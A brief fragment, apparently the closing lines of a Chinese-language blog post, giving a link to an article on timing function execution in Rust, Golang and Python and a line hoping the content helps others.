    https://godeep.pro/zh-CN/Rust/2021/05/26-%E4%BC%98%E9%9B%85%E6%B5%8B%E5%87%BD%E6%95%B0%E6%89%A7%E8%A1%8C%E6%97%B6%E9%97%B4%EF%BC%88Rust-Golang-Python%EF%BC%89/

  1. 希望以上内容对他人对有所帮助。

End